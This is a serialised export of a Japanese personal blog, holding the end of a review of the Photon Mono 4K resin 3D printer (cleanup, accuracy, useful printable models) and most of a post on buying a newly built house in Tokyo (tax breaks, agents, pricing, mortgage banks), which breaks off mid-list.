後片付け: 排水処理とバットの洗浄\n\nレジンのような液体合成樹脂を下水道に流すのは推奨されていない。使用済みレジンはもちろんのこと、プリント後の造形物を洗浄した水にも含まれるため、これを取り除く処理を行う。\n水洗いレジンでプリントした造形物を流水ではなくバケツの水で洗浄したのはこういった理由によるものだ。よって、残ったレジンをジャムの瓶に戻した後のバットもこのバケツの水で洗うことになる。\n\nバケツの中に混じるレジンを取り除くには太陽光で硬化させて濾すのが一般的だが、時間がかかるのでUVライトを10分ほど直接照射させて硬化させる。\n硬化と言っても造形物のようにしっかりと硬い塊ができることはなく、フニャッとしたゆるい固形が漂うようになる。これを濾して排水処理はおしまい。\n環境のためここまで手をかけているが、家庭から出る程度の液体合成樹脂を直接下水に流してしまうことは規制されているわけではないので、モラルさえ捨てればそのまま捨てても刑に処されることはないらしい。\n\n乾いたバットのフィルムはアルコールが含まれているレンズクリーナーできれいに拭いて後片付けの完了だ。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07BHSKKSN?ie=UTF8&th=1&linkCode=li2&tag=mzyy-22&linkId=99810235b692b304ebb2c31f6e9010e8&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07BHSKKSN&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B07BHSKKSN\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n\n[HAKUBA レンズクリーニングティッシュ 個装 50枚入り 速乾 アルコール使用 ウェットタイプ KMC-77 レンズやフィルター出先でも簡単にクリーニング : 家電&カメラ](https://www.amazon.co.jp/gp/product/B07BHSKKSN?ie=UTF8&th=1&linkCode=sl1&tag=mzyy-22&linkId=1bdb6e0a972dfa827239e9f5793b2e4d&language=ja_JP&ref_=as_li_ss_tl)\n\n## 精度\n\n家庭用3Dプリンターの精度を甘くみていたからか、想像をはるかに超える高さだった。\nXY軸精度0.035mmとZ軸精度0.01mmだけあって、出力された造形物からは家庭用3Dプリンターらしさは感じられない。\n\n計測するとXYZ各軸の寸法は各辺30.00mmの立方体を出力して±0.02mm程度の誤差が生じるものの、これは洗浄や硬化のプロセスによっても変化するため、±0.1mm程度の精度でよければ十分にデータ通りのものが出力される。\n精密なパーツをプリントする場合はレジンの特性や洗浄から硬化までの過程を繰り返し、状況に応じた誤差を加味した設計をすることで0.01mmの精度も達成できそうだ。\n\n縦0.50mm横0.50mmで高さ3.00mmの支柱を1.50mm間隔で並べたものを出力してみたが、綺麗に出来上がった。\n\n\n\n\n積層痕は水平や垂直など傾斜のない面ではほとんど気になることはない。\n急な角度のある面には積層痕が発生するので、手触りを重視するものではヤスリがけ等で表面処理をしたほうがよい。\n直径14.90mmの押しボタンを設計して出力した造形物が以下になる。ドーム状に盛り上がっている部分は積層痕が目立ち手触りもざらざらするが、プラットフォームに直角な側面は滑らかに仕上がっている。\n\n\n\n\n## 実用3Dモデル\n\nプロトタイピングとは別で、いくつかオープンな3Dモデルをプリントしてみた。\nその中で実際に3Dプリントしてみて便利に使えた造形物を紹介しておく。\n\n### Photon Mono用便利ツール\n\n#### Photon Mono 4Kのプラットフォーム傾斜パーツ\n\n[Anycubic Photon Mono Dripping Hook by PiN0YChris - Thingiverse](https://www.thingiverse.com/thing:4611512)\n\nPhoton Mono 4Kなどの光造形3Dプリンターでは、出力直後はプラットフォームや造形物に未硬化レジンが多く付着している。\nこの残留レジンをバットに戻すため、プラットフォームを45度傾けて雫が滴りやすくするためのパーツ。\nPhoton Mono用だがPhoton Mono 4Kでも使えた。\n\nプリント完了後にプラットフォームを一度外して装着する手間はあるが、結構な量のレジンがバットに戻っていくので最初に作っておくと便利。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">今更ながら3Dプリンタ補助器具を3Dプリントした <a href=\"https://t.co/9MazdUS6ry\">pic.twitter.com/9MazdUS6ry</a></p>&mdash; 6月 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1522253455863468035?ref_src=twsrc%5Etfw\">May 5, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n#### レジンバットの液切り台\n\n\n\n[Anycubic Photon VAT drainer by leenanj - Thingiverse](https://www.thingiverse.com/thing:3374579)\n\nレジンバットに残ったレジンを容器に戻す液切り台。バットを立てかけて下に空き瓶を置くことで、最後の一滴まで残ったレジンを再利用できる。\n何度かプリントした後やレジンのゴミが残っているとわかる場合などは、茶漉しをセットして固形のレジンを濾して回収する。\n\n### IKEA SKÅDISアイテム\n\n\n\nデスク横に立ててある[IKEAで売ってる有孔ボード](https://www.ikea.com/jp/ja/p/skadis-pegboard-white-30320806/)SKÅDISに取り付けられるアイテムをプリントしてみた。\n\n#### SKÅDISに電池を保管するケース\n\n\n\n[Battery Dispenser for Skadis (AA & AAA) by Jobsis - Thingiverse](https://www.thingiverse.com/thing:3160395)\n\nSKÅDISに引っ掛けられる単三の電池をストックするケース。[同じくIKEAの単三充電池](https://www.ikea.com/jp/ja/p/ladda-rechargeable-battery-hr06-aa-1-2v-50504692/)を収納するのに最適だ。\n\n注意点として、この3Dモデルを用いて出力したものは寸法が合わなかった。プリントして二次硬化していざ取り付けようとしたら有孔ボードに下の突起が刺さらなかったのだ。\nThingiverseのコメント欄にも同様の問題に直面した人のコメントがあるが、光造形でプリントすると突起の位置に上下に2mmのずれが生じるようだ(なんで?)。\n\n結局下の突起を2mmほどリューターで削ってことなきを得たが、この問題に悩まされる人が対処したRemixが公開されているので、光造形で作成する場合はこちらを用いる方がよさそうだ。\n\n[Remixes for Battery Dispenser for Skadis (AA & AAA) by Jobsis - Thingiverse](https://www.thingiverse.com/thing:3160395/remixes)\n\n#### SKÅDISにmicroSDカードとUSBメモリーを置くトレイ\n\n\n\n[SKADIS USB & SD Card Holder by batuhanarican - Thingiverse](https://www.thingiverse.com/thing:3967683)\n\nRaspberry Piなどで頻繁に利用するmicroSDカード5枚と、SDカードアダプターとUSBメモリーをそれぞれ4つ置くことのできるトレイ。\nコンパクトで場所を取らず取り出しやすさも抜群なので一つ作っておくと良い。\n注意点として、フックの寸法がギチギチに作られていて無理に取り付けようとすると折れてしまう。実際折ってしまった。\nリューターでフックの厚みを2mmほど削ることでスムーズに取り付けられるようになった。重いものを掛けるわけではないのでフックのゆとりは許容範囲内だ。\n\n#### SKÅDISにM5Stack Atom/Matrixをかけるやつ\n\n[M5Stack Atom Skadis mount by Zulimaine - Thingiverse](https://www.thingiverse.com/thing:4606687)\n\n先ほどのIKEAの有孔ボードのバッテリーケースの奥に取り付けられているもの。USBポートにもアクセスできるのでそのまま利用することもできる。\nフックの奥行きと有孔ボードの厚みがきっちり作られているので、有孔ボードに勢いよく取り付けようとするとフック部分が折れてしまうので注意。\n\n\n#### ペットボトルキャップを蓋に利用する小物入れ\n\n\n\n\n[Mini Container with PET Bottle Cap Size by Tokyo_Bird - Thingiverse](https://www.thingiverse.com/thing:4900080)\n\n[3 Mini Containers Tray for IKEA Skadis by mzyy94 - Thingiverse](https://www.thingiverse.com/thing:5446632)\n\nThingiverseでフィーチャーされていたので作ってみた。3種類のケースをプリントし、3つのケースが収まるトレイもプリントした。\nトレイはIKEAの有孔ボードに取り付けられる形のものをFusion 360で自作した。\nスリットの無いタイプのケースはカッピングが起きるので、あらかじめスライサーで下部側面に直径2mmの穴を開けてプリントした。\n強度もしっかりあり、ネジなどの細かいものを入れるケースとして重宝している。ペットボトルキャップを使える点もSDGs的にGoodだ。\n\n\n## まとめ\n\n本体は約3万円とお手軽価格であるにもかかわらず、ここまで精度の高いものが出来上がるとは思っていなかった。\n本体の他にレジン液や消耗品を揃えても初期投資は4万円を切り、これならもっと早くから導入しても良かったと後悔するほどだ。\n高さの低いものであればプリントは1時間足らずで出来上がるので、寸法の確認と修正を経て再出力するサイクルを迅速に回すことができた。\n二次硬化を終えるとしっかりとした強度も得られるとあって、とてもラピッドプロトタイピングに向いているなと実感した。\n\nこれからは一家に1台3Dプリンターの時代だ。今すぐ導入しよう。\n"]}],[0,{"slug":[0,"2023/02/27/my-new-house/"],"data":[0,{"title":[0,"独身男性 新築を買う"],"date":[3,"2023-02-26T16:00:00.000Z"],"image":[0,"/assets/images/2023/02/27/keys.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Misc"]]],"tags":[1,[[0,"home"],[0,"house"]]],"redirect_from":[0,"/blog/2023/02/07/my-new-house/"]}],"content":[0,"\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">家賃と駐車場代払ってると駐車場付きの家欲しいなる</p>&mdash; 不動産取得税申告 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1332977960500948992?ref_src=twsrc%5Etfw\">November 29, 2020</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n都内で月極駐車場を契約して賃貸マンションに住まう総居住費に対し、駐車場付き物件を住宅ローンを組んで支払う方が、税金や月々の返済を考えても安上がりなことを第一の理由に、この2023年に家を買うことにした。当初は一切のこだわりがなく、とにかく家を買って住むぞという軽い気持ちだけでスタートしたので、そのスタートからゴールまでの経験や過程を記事にする。\n\n\n## 目次\n\n## 家選びの条件を狭める\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">戸建て vs マンション vs 新築 vs 中古 vs 23区 vs 首都圏 vs ダークライ</p>&mdash; 不動産取得税申告 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1614282507587031040?ref_src=twsrc%5Etfw\">January 14, 2023</a></blockquote>\n\n### Q. マンションか一軒家か\n\n公共交通機関が発達している首都中心部や近郊ベッドタウンでは車を所有せずとも生活ができるようになっているが、広い行動範囲を確保するためにも車は手放すわけにはいかない。なので駐車場の面でどちらが優れているのかを初めに考え始めた。\n\n#### 1. 駐車場利用料と車庫サイズ\n\n都心部に絞ると、マンションで駐車場無料のところは皆無である。安くても2万円台から、高いと5万円を超えるところもザラだ。加えて駐車可能台数が極端に少なかったり、平置きできず機械式しかない上に空き待ちなところも多い。23区全域や首都近郊まで範囲を広げると、より駐車場代が安い物件や無料の物件も出てくるようになる。\n\n都心部の一軒家では車庫がないこともあるが、車庫付きの物件もいくつか見つかる。ただ、都心の狭小住宅では軽自動車や小型乗用車サイズの車庫ばかりで、普通乗用車を停められる土地サイズとなると価格が跳ね上がり物件数も限られてくる。普通乗用車サイズの車庫付き物件を見つけようとすると、一軒家もまた首都近郊まで対象範囲を広げる必要性が増す。\n\n都心部では軽自動車サイズの駐車場でも3ナンバー車を駐車するのは当たり前なので、物件情報に惑わされず実測で車体が収まればOKとして物件を考えるのも視野に入れていく。\n\n[駐車困難!ワケあり駐車場 \\| それって!?実際どうなの課【公式】 - YouTube ](https://www.youtube.com/playlist?list=PLlCbq-CSgJHDjaSFw1saG4poxJPKxdPWo)\n\n月極駐車場に支払う金がもったいないと感じて家を買おうと考えているので、駐車場無料(または相場より大幅安)のマンションか、実測で3ナンバー車が停められる車庫付き一軒家を対象に考えることにした。\n\n#### 2. 管理費と自治\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">戸建てだと町内会とかめんどいしマンションだと理事会とかめんどいしうーん</p>&mdash; 不動産取得税申告 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1611637769989918720?ref_src=twsrc%5Etfw\">January 7, 2023</a></blockquote>\n\n駐車場の以外の点では、マンションは管理費や修繕積立金等の月々の支払いや、理事会などの自治が金銭と時間の負担を増す。一軒家でも時に修繕は必要になったり町内会などの自治会があったりするが、額の大小や任意の入会など物件次第で負担は低く見積もれる。\nこの点では一軒家に分があると考えられる。\n\n#### 3. ゴミ出し体験\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">別にだだっ広くなくても部屋数少なくても良くて庭あって屋上あって日当たり良くてゴミ捨てが楽なところに住みたい</p>&mdash; 不動産取得税申告 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1589349961338327041?ref_src=twsrc%5Etfw\">November 6, 2022</a></blockquote>\n\n高い管理費を払っていた賃貸マンションでは、屋内ゴミ捨て場に24時間自由にゴミ捨てをすることができていた。\n生活リズムが一般人のそれとはかけ離れているため、深夜4時に捌いた魚などの生ごみを新鮮な状態で捨てられるのは利便性がとてもよかった。\n\n対して一軒家で過ごすとなると、多くは地域のゴミ集積所に決められた時間帯にゴミ出しをしないといけない。\n決められた時間に起床することやゴミ集積所を維持する自治に加わる義務を追うことになり、これは肌に合わない。\n\n管理費を払って自由なゴミ出しやゴミ捨て場の掃除を任せられるマンションの方が、一軒家より楽な生活を送れることは間違いない。\n一軒家で同等のゴミ出し体験を得ることは難しいが、地域によっては集積所問題を避けられる。戸別収集だ。\n\n集積所がなく自宅前にゴミを出せる戸別収集では、集積所の維持管理が不要になりゴミ問題などで地域と関わる確率を下げられる。\nゴミ出しの時間帯は妥協するしかないが、戸別収集を行っている自治体を対象に家探しをすることで、一軒家も悪くないと考え始めた。\n\n[東京都の家庭ごみ収集一覧│暮らしデータ 【goo 住宅・不動産】](https://house.goo.ne.jp/chiiki/kurashi/kateigomi/tokyo.html)\n\nこれらのポイントを踏まえ、車庫つき一軒家を探すことにした。\n\n### Q. 中古か新築か\n\n一軒家を購入すると決まれば、次は中古か新築かを考えることになる。住む分にはぶっちゃけどちらでも良かったため、当初は両方を対象に物件を調べていた。だが情報を集めていくうちに、新築を購入する方がメリットが多々あると感じたため、新築に絞ることにした。決め手は次の3点だ。\n\n#### 1. 住宅ローン控除の還付額の差\n\n住宅ローン控除とは、自身が住まうために利用した住宅ローンの年末借入残高に対して、[0.7%の額が毎年還付されるという制度](https://www.mlit.go.jp/jutakukentiku/house/jutakukentiku_house_tk2_000017.html)だ。借入残高が高ければ際限なく還付額が増えるというものではなく、しっかりと上限が設定されている。まずこの上限に中古物件と新築物件の差が生まれるのだ。\n\n省エネ基準に適合していない一般住宅(その他の住宅)の場合、新築なら3000万円を上限に0.7%を掛けた最大21万円の還付が受けられる。中古となると、2000万円が上限になるため、14万円と年間で7万円の差が出る。\n\n控除期間にも差が設けられ、新築物件なら13年間、再販ではない中古物件では10年間となるため、新築を購入した方が最大で133万円お得になるのだ。\nただ、これは今年2023年12月末までに購入と入居をした場合の計算だ。\n\n消費増税のタイミングで[控除期間が3年間延長される措置が一時なされた住宅ローン控除](https://www.mlit.go.jp/jutakukentiku/house/jutakukentiku_house_fr4_000036.html)だが、その措置が終了してからは住宅ローン控除は改悪続きである。2021年までは借入残高の1%が還付されていたが、2022年から0.7%に減少。そして来年2024年からはさらに控除対象となる借入限度額が下がるなど、さらなる改悪が予定されている。\n\n<!--\nその他の住宅 | 新築〜2023 | 中古〜2023 | 新築2024〜 | 中古2024〜\n:---:|---:|---:|---:|---:\n控除対象限度額 | **3000万円** | 2000万円 | 2000万円 | 2000万円 \n年間控除上限 | **21万円** | 14万円 | 14万円 | 14万円 \n控除期間 | **13年間** | 10年間 | 10年間 | 10年間 \n累計最大控除額 | **273万円** | 140万円 | 140万円 | 140万円 \n-->\n\n<table>\n <thead>\n <tr>\n <th style=\"text-align: center\" rowspan=\"2\">その他の住宅</th>\n <th style=\"text-align: center\" colspan=\"2\">2023年末までに入居</th>\n <th style=\"text-align: center\" colspan=\"2\">2024年以降入居</th>\n </tr>\n <tr>\n <th style=\"text-align: center\">新築</th>\n <th style=\"text-align: center\">中古</th>\n <th style=\"text-align: center\">新築</th>\n <th style=\"text-align: center\">中古</th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td style=\"text-align: center\">控除対象限度額</td>\n <td style=\"text-align: right\"><strong>3000万円</strong></td>\n <td style=\"text-align: right\">2000万円</td>\n <td style=\"text-align: right\">2000万円</td>\n <td style=\"text-align: right\">2000万円</td>\n </tr>\n <tr>\n <td style=\"text-align: center\">年間控除上限</td>\n <td style=\"text-align: right\"><strong>21万円</strong></td>\n <td style=\"text-align: right\">14万円</td>\n <td style=\"text-align: right\">14万円</td>\n <td style=\"text-align: right\">14万円</td>\n </tr>\n <tr>\n <td style=\"text-align: center\">控除期間</td>\n <td style=\"text-align: right\"><strong>13年間</strong></td>\n <td style=\"text-align: right\">10年間</td>\n <td style=\"text-align: right\">10年間</td>\n <td style=\"text-align: right\">10年間</td>\n </tr>\n <tr>\n <td style=\"text-align: center\">累計最大控除額</td>\n <td style=\"text-align: right\"><strong>273万円</strong></td>\n <td style=\"text-align: right\">140万円</td>\n <td style=\"text-align: right\">140万円</td>\n <td style=\"text-align: right\">140万円</td>\n </tr>\n </tbody>\n</table>\n\n#### 2. 契約不適合責任の範囲\n\n新築住宅には建物の構造や防水に関する部分などに対し、10年間の保証が義務付けられている。設備についても十年とまではいかないが、契約内容に従って保証がなされる。これは[住宅の品質確保の促進等に関する法律](https://elaws.e-gov.go.jp/document?lawid=411AC0000000081)や改正民法の契約不適合責任(瑕疵担保責任)など、さまざまな法律によって保証されているものだ。\n\nこれが中古物件にはそのまま適用されない。中古の場合は設備は一般的に現況渡しとなる上、建物についても新築ほどの保証はされない。住んでみないとわからないのはさておき、築浅中古などの同品質の物件で悩むのであれば、法的に10年は物件の無償修理を保証されている新築の方がお得である。\n\n#### 3. 不動産取得税と固定資産税など各種減税\n\n新築物件に対しては、固定資産税と不動産取得税が優遇される。\n不動産を取得したときにかかる不動産取得税は、固定資産税評価額に3%(2024年3月末までに取得の場合)を掛けた額が徴収される。中古物件では築年数などでこの固定資産税評価額から控除される額に100万円から1200万円まで幅がある一方、新築では最大額の1200万円の控除が受けられる。実際には築浅の中古であれば差はないのだが、中古物件には条件が追加されるので、そういった部分に考えを巡らせなくていいだけ新築の方が楽である。\n\n不動産取得税よりも新築物件の利点を実感できるのが、毎年支払う固定資産税だ。2024年3月末までに入居した新築住宅に対しては、3年間の固定資産税が二分の一になる特例が適用される。3階建て以上の耐火構造・準耐火構造の新築戸建や新築マンションに関しては、控除期間が5年間となる。中古物件は経年劣化等で固定資産税評価額が低く評価されている点を考慮すると、同価格の物件でも一概に新築物件の方が固定資産税の総額が安くなるとは言い切れない。ただ、築浅の中古物件と新築で悩むならば、評価替えのタイミング等にもよるが、新築物件を購入した方が納税額が安く住むことがほとんどである。\n\n[**住宅を新築したときの不動産取得税・固定資産税等の軽減制度 | 軽減制度| 東京都主税局**](https://www.tax.metro.tokyo.lg.jp/shisan/info/shinchiku_keigen.html)\n\n住宅を取得したときにかかる、登記の登録免許税率も新築の場合は税額が変わってくる。\n\n新築住宅を取得したときに所有権保存登記を行う必要があるのだが、このとき納める登録免許税は不動産評価額(新築の場合は[新築建物課税標準価格](https://houmukyoku.moj.go.jp/tokyo/page000564.html)より算出)の0.4%と定められている。これが個人が居住に用いる新築住宅の場合は、2024年3月末までは軽減税率が適用されて0.15%に減税されるのだ。\n\n中古住宅の場合は前に所有者がいるため所有権移転登記となり、登録免許税率は2%と高い。こちらも個人の居住用に対しては軽減税率が適用されるが、0.3%にしかならない。\n\n登録免許税 | 新築(保存登記) | 中古(移転登記) \n:---:|---:|---:\n標準課税率 | 0.40% | 2.00% \n軽減税率 | 0.15% | 0.30%\n\n[**No.7191 登録免許税の税額表|国税庁**](https://www.nta.go.jp/taxes/shiraberu/taxanswer/inshi/7191.htm)\n\n### Q. 建売住宅か注文住宅か\n\n新築一軒家を購入すると決めたら次に悩むのが建売か注文住宅か。土地を買って建物を半オーダーメイドで作る注文住宅には憧れるものの、建築会社が設計と建設をして売り出している建売住宅のお得さも捨てがたい。注文住宅の場合、ここ最近の大工不足や木材不足などの全般的な建設リソース不足が続いているため、上に挙げた2023年中の入居を対象とした減税や控除が受けられない可能性が考えらえる。加えて土地と建物で別々の融資を考えないといけなかったりと、悩みが増える。ストレスは少ない方が人生は楽なので、新築建売住宅を購入することにした。\n\n\n引用元: [労働経済動向調査(令和4年2月)の結果の概況[PDF]](https://www.mhlw.go.jp/toukei/itiran/roudou/koyou/keizai/2202/dl/4kekkagaiyo.pdf)\n\n### Q. 借地か所有権か\n\nここまで幾度となく悩んで新築建売住宅を購入することに決めてきたが、まだ悩むポイントが一つある。それが土地の扱いだ。\n建売住宅に限らず一戸建てにおいては、土地を購入せず借りることでその上の建物に住まう、借地権上の物件がいくつか存在する。特に都心部の駅近や南向き角地など、立地の良い土地を手放したくはない所有者が土地を貸して保有し続けているものが散見される。借地権の場合は土地の固定資産税がかからないが、借りるための地代を支払う必要がある。\n\n毎月の支払い以外に問題なのが、住宅ローンの借り入れだ。多くの銀行、特にネット銀行系の住宅ローンでは土地と建物両方を担保にする前提であるため、借地権上の建物を購入する場合は住宅ローンの貸付対象外とされる。住宅ローンの選択肢が大幅に減少するのと、地代を払う出費も馬鹿にならないので、土地に関しては所有権一択しかない。\n\n### ここまでのまとめ\n\n- マンションか一軒家か: **車庫付きの一軒家**\n- 中古か新築か: **新築**\n- 建売住宅か注文住宅か: **建売住宅**\n- 借地か所有権か: **所有権**\n\n## 物件を探す\n\n車庫付きの新築建売所有権の物件を買うと決めたら、その条件をもとに不動産総合サイトなどで物件を探し始める。SUUMOは掲載数が多い代わりに駐車場の有無で絞り込めないなど、それぞれのサイトの特色があるのでいくつか試してみるといい。\n\n建売の場合は、すでに完成している完成物件と建設中の物件がある。前者は即入居可であることが多いほか、完成日から時間が経っていると売れ残りとして価格交渉の余地があったりする。ただ、売れ残っている理由がそれなりにあることを留意したい。\n\n都心の狭小住宅を購入する際には、土地面積にも注意して物件を決めたい。土地面積が小さすぎる物件の購入に対しては住宅ローンを貸し付けない銀行があるのだ。多くの銀行は30平米以上の土地面積がないと貸付できないとするが、40平米以上とするところもある。住宅ローン事前審査の入力フォームで初めて気付かされることもあるので、狭い土地の物件を購入するときは事前に借り入れられるか調べておくと良い。\n\n候補が決まったら取引先を選ぶ。賃貸にもある仲介業者の選択だ。\n\n## 仲介業者の決定\n\n仲介業者が存在しない売主との直接取引もあるが、多くは仲介業者が介在する。賃貸も売買も不動産の仲介には媒介契約という形で取引の契約が結ばれる。一つの物件を複数の仲介業者が紹介しているようなものは一般媒介契約といい、一つしか仲介業者がないものは専任媒介契約という。\n\n媒介契約を行うと手続き等の事務を委任することとなり、民法第656条の準委任契約に当たるようになる。\n準委任の場合は民法第400条の善管注意義務を不動産会社は負うこととなるので、万が一契約トラブルが発生した場合は、善管注意義務違反として訴訟を行なって賠償を請求できるというメリットがある。\n\n複数の不動産会社が掲載している物件は仲介業者を選べるので、それぞれの不動産会社に何度か問い合わせをして自分にあった業者を見つけ出す。最初に見つけた物件は4社が掲載していたので、以下の点について伺って取捨選択を繰り返し、最終的に一つに絞っていった。\n\n- 仲介手数料はいくらか\n- それ以外の諸費用は何がかかるか\n- 指値交渉(値下げ交渉)は可能か\n- 売主の不動産業者はどこか・建築設計はどこか\n- 売主との取引は過去にあったか\n- 提携ローンはどこの銀行があるか\n\n仲介手数料を無料と掲載するところや成約でキャッシュバックなど、色々な謳い文句にはトリック(後述)があるところもあるので、突き詰めながら詳細を確認しておきたい。\nこれらをもとに交渉を続け数社に絞ったら、実際に物件の内覧を依頼して仲介業者と物件をそれぞれ決定していく。\n物件が気に入らなかったり、不動産屋の対応に不満があったりする場合はふりだしに戻ってやり直しとなる。\n\n## 物件の適正価格を探る\n\nいくつかの方法で適正価格を調べる。\n\n### 他の掲載物件と比較する\n\n不動産総合サイトに同時期に掲載されている他の物件がいくつかあれば、それらと比較するのが一番簡単な適正価格の判断方法だ。\n距離的に近い物件があれば、建物の間取りや面積などを比べて、どのような差があってどう安いのか高いのかを見てみる。\n北向きと南向きなど日当たりの面や、旗竿地や角地などの立地でも価格は左右されるので、土地に関しても注目したい。\n利点と欠点を考慮した場合の価格の差に納得感が得られれば、価格調査はここで終了しても良い。\n\n### 過去の取引価格を調べる\n\n過去の情報になるが、国土交通省が収集した取引価格を[国土交通省 土地総合情報システム](https://www.land.mlit.go.jp/webland/servlet/MainServlet)で調べることができる。また、[全国地価マップ](https://www.chikamap.jp/)というサイトでも同様に調べられる。\n\n間取りや設備などは記載がなく、取引年と面積と金額くらいの情報に限られるが、土地建物の実勢価格を知ることができる。\n首都圏の物件価格は年々上昇傾向であるため、直近のものくらいしか参考にできないが、一度目を通しておくと良い。\n\n\n引用元: [国土交通省 土地総合情報システム Land General Information System](https://www.land.mlit.go.jp/webland/servlet/MainServlet)\n\n### 路線価から計算する\n\n固定資産税や相続税の評価額を算出するときに用いられる路線価というものがある。\nこれは道路に価値をつけた路線価というものを定め、評価対象の土地が接道している道路の路線価から評価額を算出するというものだ。\n路線価は[国税庁 財産評価基準書](https://www.rosenka.nta.go.jp/)や[全国地価マップ](https://www.chikamap.jp/)などのサイトで確認できる。\n\nただ、評価額を[算出する計算](https://www.nta.go.jp/law/tsutatsu/kihon/sisan/hyoka_new/02/07.htm)が複雑な上、あくまで土地単体の評価額であるため、実勢価格の参考にはあまりならない。\n\n\n引用元: [令和4年分 財産評価基準書 40041 - 路線価図|国税庁](https://www.rosenka.nta.go.jp/main_r04/tokyo/tokyo/prices/html/40041f.htm)\n\n### 手数料込み販売価格\n\n仲介手数料を無料と掲載する物件もあるが、この場合は適正価格の考え方を変える必要がある。\n仲介手数料は物件を買う側が仲介業者に払うものという認識を強く持たれがちだが、売る側が売ってもらうために仲介業者に払っているパターンも多くあるのだ。もちろん賃貸でも同様で、貸す側が払うパターンがある。\n\nこのような場合は販売価格に仲介手数料分が実質上乗せされた形で販売されていることになる。\n表面上のお金の流れだけ見ると仲介手数料を支払ったようには見えないが、売主を経由して間接的に仲介業者に手数料を支払ったことになるのだ。\nこういった物件の価格は手数料込みの価格となっていることを考慮し、差し引いて物件自体が適正価格かどうかを見極める必要が出てくる。\n\n売主から仲介業者に手数料がどれほど渡るのか、一般人が調べるのは簡単ではない。不動産業界の知り合いがいれば、不動産流通システムを覗いてもらって確認してもらうとかの方法があるかもしれない。\n\n仲介業者に対してなぜ無料で仲介できるのかをフレンドリーに問いただしてみたりすると、手数料がいくら渡るか教えてくれる可能性は無きにしも非ずだ。仲介手数料無料でうまく釣ろうとしている相手がトリックをわかって聞いてきているので、おそらく答えてくれるだろう。\n\n今回の候補に上がった物件の中にあった仲介手数料無料物件では、法律の上限である仲介手数料3%が売主から支払われることが調べて分かった。サンプル数は乏しいが、目安として販売価格の3%が手数料として、仲介手数料無料物件には組み込まれていると考えても問題ないだろう。\n\n## 不動産売買契約\n\n物件も仲介業者も決まって全てに納得感が得られたら、いよいよ売買契約に進んでいく。\n\n契約に先立って重要事項説明を受けるのだが、そのときに法律文書を確認するような厄介オタクにならないよう、事前に関連法令を把握しておく。\n\n重要事項説明に問題がなければ契約に進めば良いが、特約などに疑問が残るのであればすぐには契約をせず、訂正を入れてもらったり別の不動産会社に変えることも検討するべきだ。\n大手や中堅の不動産会社であれば、おおよそ契約内容に問題があるものは用意してこないので、消耗したくない人や考えることを少なくしたい場合は大手を選ぶと良い。\n\n## 住宅ローンの選び方\n\n契約を終えたら住宅ローンの借り入れに進む。\n\n金利や団信を中心とした住宅ローンの比較は、腐るほどインターネット上に比較サイトが転がっているので割愛。\nここでは本審査に進んだ各銀行との契約までの体験を実体験に基づいて記す。\n\nWebからフォームに入力を進めて事前審査を開始できるところが大半で、事前審査申し込みには大きな差はない。DXの時代に紙でしか事前審査申し込みができない銀行も存在するようだが、そういった時代遅れのとろは候補から外していった。\n\nほとんどの銀行は難なく審査を通過したが、唯一ソニー銀行がなぜか即答でNGを出してきた。\n仲介業者が提携していたこともあってソニー銀行の担当者に伺ってもらったが、「属性に問題がなくとも若い独身男性は居住用と言いながら賃貸にして儲けようとする方が多く、事前審査でお貸しできないと判断する場合があり。。。」などと腑に落ちない回答をいただいた。\n\n事前審査を通過した中から3つの銀行を絞り、本審査に進んでいった。ここで大きく体験に差があった。\n\n銀行 | 本審査の書類提出 | 審査中の問い合せ | 団体信用保険書類\n:---:|---|---|---\nauじぶん銀行 | オンライン完結 | 電話のみ | 定期健康診断結果(アップロード)\n住信SBI | 全て紙で郵送 | 電話/アプリ | 定期健康診断結果(郵送)\n新生銀行 | ほぼオンライン | 電話/Webサイト | 医師が作成した診断結果(郵送)\n\nauじぶん銀行は住民票や住民税決定通知書も原本が不要で、全てWebサイトから写真やPDFのアップロードで完結し、事務の手間が一番少なく好印象だった。\n住信SBIは書類を全部紙にコピーして住民票などの原本と一緒に返送する手間をかけたのにも関わらず、諸費用の貸付に上限があり僅かに全額貸付ができないというのを、審査の終盤に後出しにしてきて不信感が芽生え、個人的に体験としては最低評価。\n新生銀行も物件関連書類はアップロードで完結したが、1万円の実費を負担して健康診断結果を病院で書いてもらって郵送する必要があったマイナス評価に加えて、本審査にたっぷり時間をかける不手際さを感じられたため評価は低い。\n\n結果として一番早くに結果が出て手続きの体験の良かったauじぶん銀行で借り入れることに決定した。\n\n## 物件引き渡しとそれまでの諸手続き\n\n住宅ローンの借入先を済ませたら、あと数ステップで物件を手に入れることができる。\n\n- 金銭消費貸借契約\n- 司法書士面談\n- 内覧会\n- 